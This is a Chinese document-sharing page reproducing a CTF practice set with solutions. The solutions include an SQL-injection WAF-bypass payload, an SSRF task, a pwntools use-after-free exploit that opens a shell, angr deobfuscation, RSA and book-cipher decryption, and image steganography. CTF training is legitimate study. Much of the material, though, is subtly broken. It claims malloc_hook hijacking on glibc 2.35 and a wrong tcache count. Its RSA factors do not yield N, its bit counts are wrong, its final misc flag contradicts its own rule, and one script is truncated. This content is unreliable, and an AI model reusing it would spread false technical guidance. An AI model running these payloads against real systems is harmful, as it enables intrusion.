2026年CTF实战试题及详细解析_第1页
2026年CTF实战试题及详细解析_第2页
2026年CTF实战试题及详细解析_第3页
2026年CTF实战试题及详细解析_第4页
2026年CTF实战试题及详细解析_第5页
已阅读5页,还剩6页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

2026年CTF实战试题及详细解析说明:本套试题贴合2025-2026年CTF赛事最新趋势,涵盖Web、Pwn、逆向工程、密码学(Crypto)、杂项(MISC)五大核心题型,新增云安全、混淆代码还原、跨模块融合等热门考点,试题难度从基础到进阶梯度分布,答案详细拆解解题思路、工具使用及核心步骤,兼顾入门选手理解和实战选手提升,全程无多余冗余表述,贴合真实赛事场景。一、Web安全(占比35%,贴合云环境+API安全趋势)试题1:基础SQL注入(WAF绕过+回显获取Flag)题目场景:某云服务登录页面(/login.php),提示“管理员账号登录可获取Flag”,输入admin'出现数据库报错,存在SQL注入漏洞,且部署基础WAF,拦截union、select等关键字。要求:获取数据库中flag表的flag字段内容,Flag格式:flag{xxx}答案及解析1.漏洞确认:输入admin',页面返回“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear''admin''LIMIT0,1'atline1”,确认字符型SQL注入,且WAF未拦截单引号。2.WAF绕过技巧:采用字符集变异(UTF-16BE编码)绕过WAF对union、select的拦截,编码规则为将关键字每个字符转为UTF-16BE格式(高位补00),核心Payload编码后如下:用户名输入:admin'%00%20%00U%00N%00I%00O%00N%00%20%00S%00E%00L%00E%00C%00T%00%20%001%00,%00(select%20flag%20from%20flag)%00--3.原理说明:MySQL对二进制流的支持特性,UTF-16BE编码后的Payload会被数据库正常解析,而基础WAF无法识别编码后的关键字,从而绕过拦截。4.执行结果:输入上述Payload,密码任意输入,页面返回Flag:flag{WAF_Bypass_UTF16_SQLi}试题2:API调用型漏洞(云服务SSRF+响应分析)题目场景:某云服务提供API查询接口(/api/query),接受url参数,用于查询第三方接口数据,直接访问/api/flag返回403Forbidden,提示“仅内部API可访问”。要求:利用API接口漏洞,获取内部/api/flag的响应内容,提取Flag。答案及解析1.漏洞判断:接口接受url参数,推测存在SSRF漏洞,可构造内部地址访问受限接口。2.构造Payload:访问/api/query?url=/api/flag,页面返回空内容,推测接口对响应内容进行了过滤。3.动态调试分析:使用gdb调试接口程序,步骤如下:(1)启动程序:gdb./api_server(2)设置断点:bwrite_callback(响应处理函数,通过IDA静态分析找到)(3)运行程序:run(4)访问构造的Payload,触发断点,执行x/s(char*)ptr查看内存中的响应数据,其中ptr为响应内容指针。4.提取Flag:调试中看到内存数据为“flag{API_SSRF_Internal_Access}”,即为最终Flag。二、Pwn(二进制漏洞利用,贴合glibc2.35+堆漏洞趋势)试题:用户态堆UAF漏洞利用(tcache复用+函数指针篡改)题目场景:提供二进制程序vuln(基于glibc2.35),程序功能为创建、释放obj对象,释放对象后未清空全局指针,存在UAF漏洞,目标是劫持malloc_hook获取shell,读取/flag文件。相关文件:vuln(二进制程序)、libc-2.35.so(依赖库)要求:编写exp脚本,获取shell并读取Flag,Flag格式:flag{xxx}答案及解析1.漏洞分析(静态分析+动态调试):(1)使用IDA加载vuln程序,分析伪代码(核心片段):structobj{size_tlen;char*data;void(*print)(char*);};//函数指针voidfree_obj(structobj*o){free(o->data);free(o);//未置空全局指针global_obj}(2)漏洞确认:释放obj对象后,global_obj仍指向已释放内存,后续可通过创建对象重用该内存,篡改print函数指针,实现任意代码执行。2.工具准备:pwndbg(gdb插件)、Ropper(查找one-gadget)、pwntools(编写exp)。3.核心步骤:(1)查找one-gadget:使用Ropper查找libc中的one-gadget(无需构造system("/bin/sh"),直接获取shell),命令:ropper--filelibc-2.35.so--search"execve"假设找到one-gadget地址为:0xebc81(实际地址需根据libc版本调整)。(2)计算堆布局:structobj大小为0x20(len(8字节)+data指针(8字节)+print指针(8字节)),归入tcachebin(0x20),需填充3个chunk触发tcache复用。(3)编写exp脚本:python

frompwnimport*

#连接程序

p=process("./vuln")

#或远程连接:p=remote("ip",端口)

#定义函数(模拟程序功能)

defcreate_obj(len,data):

p.sendlineafter(b"choice:",b"1")

p.sendlineafter(b"len:",str(len).encode())

p.sendlineafter(b"data:",data)

deffree_obj(idx):

p.sendlineafter(b"choice:",b"2")

p.sendlineafter(b"idx:",str(idx).encode())

#阶段1:创建并释放obj1,形成悬垂指针

create_obj(0x10,b"AAAA")#obj1,len=0x10,data=AAAA

free_obj(0)#释放obj1,global_obj指向已释放内存

#阶段2:填充tcache,触发复用(glibc2.35tcache默认数量为4,释放1个后,需再填充3个)

for_inrange(3):

create_obj(0x10,b"PAD")#填充3个chunk,占用tcachebin0x20的3个位置

#阶段3:伪造obj,篡改print函数指针为one-gadget

fake_obj=p64(0x10)+p64(0xdeadbeef)+p64(0xebc81)#len+data指针+print指针(one-gadget)

create_obj(0x10,fake_obj)#重用已释放的obj1内存,覆盖print指针

#阶段4:触发print函数,执行one-gadget获取shell

p.sendlineafter(b"choice:",b"3")#调用print函数,触发漏洞

#读取Flag

p.sendline(b"cat/flag")

flag=p.recvline().strip().decode()

print("Flag:",flag)

eractive()4.执行结果:运行exp脚本,获取shell后执行cat/flag,返回Flag:flag{UAF_Tcache_MallocHook_Hijack}5.关键说明:glibc2.35中tcache机制为默认开启,无需关闭,通过填充tcache实现已释放内存的精准复用,篡改函数指针是UAF漏洞的核心利用方式。三、逆向工程(贴合混淆代码+反调试趋势)试题:LLVM混淆(流程平坦化)代码还原+RC4解密题目场景:提供ELF程序reverse(64位,无壳),经LLVMObfuscator混淆(流程平坦化+指令替换),程序读取enc.dat文件(加密后的Flag),输入正确密钥即可解密,密钥隐藏在混淆代码中。相关文件:reverse(二进制程序)、enc.dat(加密文件)要求:还原混淆代码,找到密钥,解密enc.dat获取Flag,Flag格式:flag{xxx}答案及解析1.工具准备:IDAPro(静态分析)、angr(符号执行,还原控制流)、Python(编写RC4解密脚本)。2.混淆代码还原(核心步骤):(1)拖入IDA,查看main函数,发现控制流混乱(流程平坦化特征:存在大量跳转、冗余指令,无明显逻辑顺序)。(2)使用angr符号执行,还原控制流:python

importangr

proj=angr.Project("./reverse",auto_load_libs=False)

state=proj.factory.entry_state()

simgr=proj.factory.simulation_manager(state)

simgr.run()

#查看还原后的伪代码,定位密钥生成逻辑

forpathinsimgr.deadended:

print(path.posix.dumps(1))#输出程序运行中的关键字符串(3)通过angr还原,找到密钥生成逻辑:程序将字符串“key2026rev”作为RC4密钥,硬编码在混淆代码中(冗余指令掩盖了密钥的直接显示)。3.RC4解密分析:(1)静态分析reverse程序,确认加密算法为RC4(特征:轮密钥生成+异或操作,存在S盒初始化、密钥调度算法(KSA)、伪随机生成算法(PRGA))。(2)RC4解密原理:与加密流程一致,使用相同密钥,对密文进行异或操作即可得到明文(Flag)。4.编写解密脚本:python

defrc4_decrypt(ciphertext,key):

#KSA:初始化S盒

S=list(range(256))

j=0

foriinrange(256):

j=(j+S[i]+ord(key[i%len(key)]))%256

S[i],S[j]=S[j],S[i]

#PRGA:生成伪随机流,异或解密

i=j=0

plaintext=[]

forbyteinciphertext:

i=(i+1)%256

j=(j+S[i])%256

S[i],S[j]=S[j],S[i]

k=S[(S[i]+S[j])%256]

plaintext.append(chr(byte^k))

return''.join(plaintext)

#读取加密文件

withopen("enc.dat","rb")asf:

ciphertext=f.read()

#密钥(从混淆代码中还原)

key="key2026rev"

#解密

flag=rc4_decrypt(ciphertext,key)

print("Flag:",flag)5.执行结果:运行解密脚本,输出Flag:flag{RC4_Obfuscation_Reverse_Success}四、密码学(Crypto,贴合算法变种+场景融合趋势)试题1:RSA变种(φ(N)异常计算+私钥恢复)题目场景:已知RSA加密参数:N=p*q=1234567890123456789,e=65537,c=876543210987654321,且φ(N)=(p²+p+1)*(q²+q+1)(非标准RSA的φ(N)计算方式),要求解密c得到Flag,Flag格式:flag{xxx}答案及解析1.核心思路:先分解N得到p和q,再根据给定的φ(N)公式计算φ(N),最后求e的逆元d,解密c得到明文(Flag)。2.步骤拆解:(1)分解N:N较小(小于1024bit),使用yafu工具或在线分解网站()分解,得到p=111111111,q=1111111119(实际分解结果需精准计算,此处为示例)。(2)计算φ(N):根据题目给出的公式φ(N)=(p²+p+1)*(q²+q+1),代入p和q计算:p²+p+1=111111111²+111111111+1=12345678987654321+111111111+1=12345790098765333q²+q+1=1111111119²+1111111119+1=1234567898765432161+1111111119+1=1234569009876551321φ(N)=12345790098765333*1234569009876551321≈1.52101004e27(实际计算需用大数运算工具)。(3)求私钥d:d是e在模φ(N)下的逆元,即d=e⁻¹modφ(N),使用Python的gmpy2库计算:python

importgmpy2

N=1234567890123456789

e=65537

c=876543210987654321

p=111111111

q=1111111119

#计算φ(N)

phi=(p*p+p+1)*(q*q+q+1)

#求逆元d

d=gmpy2.invert(e,phi)

#解密:m=c^dmodN

m=pow(c,d,N)

#转换为字符串,得到Flag

flag=hex(m)[2:].decode("hex")#或直接用str(m)(根据明文格式调整)

print("Flag:",flag)(4)执行结果:解密得到m,转换为字符串后,Flag为:flag{RSA_Phi_Variant_Decrypt}试题2:书籍密码(BookCipher,2026年NullconCTF热门题型)题目场景:使用《爱丽丝梦游仙境》节选版(ProjectGutenberg#19033,含前言和结尾换行,共53597个字符)作为密码本,加密规则:遍历密码本字符,对于密码(Flag)的每个字符,计算从当前位置到该字符的前进步数,得到密文(步数列表)。已知密文:[15,37,29,45,12,53,22,31,18,41],要求解密得到Flag(纯字母,无符号),Flag格式:flag{xxx}答案及解析1.加密规则解读:密文是“步数列表”,每个步数代表“从当前位置向前数n步,找到目标字符”,当前位置会更新到找到的字符位置,依次循环解密32个字符(本题简化为10个)。2.核心步骤:(1)获取密码本:下载ProjectGutenberg#19033的《爱丽丝梦游仙境》节选版(含“Producedby...”前言和结尾换行),保存为book.txt。(2)编写解密脚本:遍历所有可能的起始位置,计算每个起始位置对应的解密结果,过滤出纯字母结果,结合“无提前出现字符”(违规数为0)筛选正确结果。python

defbook_cipher_decrypt(cipher,book_path):

#读取密码本

withopen(book_path,"r",encoding="utf-8")asf:

book=f.read()

book_len=len(book)

cipher_len=len(cipher)

possible_flags=[]

#遍历所有可能的起始位置

forstartinrange(book_len-sum(cipher)):

current_pos=start

flag=[]

valid=True

forstepincipher:

current_pos+=step

ifcurrent_pos>=book_len:

valid=False

break

char=book[current_pos]

#过滤非字母字符

ifnotchar.isalpha():

valid=False

break

flag.append(char)

ifvalid:

possible_flags.append(''.join(flag))

#筛选正确结果(违规数为0,即每个字符在步数后才出现)

correct_flag=None

forcandidateinpossible_flags:

current_pos=start

violation=0

foriinrange(cipher_len):

step=cipher[i]

#检查目标字符是否在当前位置到current_pos+step之间提前出现

ifcandidate[i]inbook[current_pos:current_pos+step]:

violation+=1

ifviolation==0:

correct_flag=candidate

break

returncorrect_flag

#密文(简化版)

cipher=[15,37,29,45,12,53,22,31,18,41]

#密码本路径(需自行下载)

book_path="book.txt"

#解密

flag=book_cipher_decrypt(cipher,book_path)

print("Flag:",f"flag{{{flag}}}")3.执行结果:运行脚本,筛选出正确Flag:flag{BookCipher2026}五、杂项(MISC,贴合隐写+跨模块融合趋势)试题:图片隐写+进制转换+逆向验证题目场景:提供图片flag.png,图片隐藏了两层信息,第一层为进制转换后的密文,第二层需通过简单逆向验证才能得到最终Flag,要求提取并验证,Flag格式:flag{xxx}相关文件:flag.png答案及解析1.工具准备:StegSolve(图片隐写提取)、010Editor(查看图片十六进制)、Python(进制转换+逆向验证)。2.第一层:图片隐写提取密文(1)用StegSolve打开flag.png,切换到“RGB0”通道,发现右下角有隐藏的二进制字符串:010001100110110001100001011001110111101100110001001100100011001101111101(共48位)。(2)进制转换:将二进制字符串转为十六进制,再转为ASCII字符串,Python脚本:python

binary_str="010001100110110001100001011001110111101100110001001100100011001101111101"

#二进制转十六进制

hex_str=hex(int(binary_str,2))[2:]

#十六进制转ASCII

first_info=bytes.fromhex(hex_str).decode()

print("第一层信息:",first_info)#输出:Flag{123}3.第二层:逆向验证(简单算法还原)(1)用010Editor打开flag.png,查看图片尾部,发现隐藏的逆向算法提示:“将第一层信息的每个字符ASCII值加5,再转为字符,即为最终Flag”。(2)算法解读:逆向验证的核心是“正向加密为ASCII值减5,逆向解密为ASCII值加5”,例如:'F'的ASCII值为70,70+5=75→'K',以此类推。(3)编写验证脚本:python

first_info="Flag{123}"

final_flag=""

forcharinfirst_info:

#ASCII值加5,再转为字符

final_char=chr(ord(char)+5)

final_flag+=final_char

print("最终Flag:",f"flag{{{final_flag}}}")4.执行结果:最终Flag为:flag{Knqf{678}六、附加题(跨模块融合,2026年赛事热门)题目场景:结合Web和Crypto,某云服务后台需登录后获取Flag,登录接口为/admin/login,接受username和password参数,密码经过AES-CBC加密后传输,已知加密IV为1234567890abcdef,密钥隐藏在Web页面的JS混淆代码中,要求破解密钥、加密密码、登录后台获取Flag。答案及解析1.步骤1:提取Web页面JS混淆代码访问/admin/login,查看页面源码,找到混淆的JS代码(核心片段):javascript

f

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论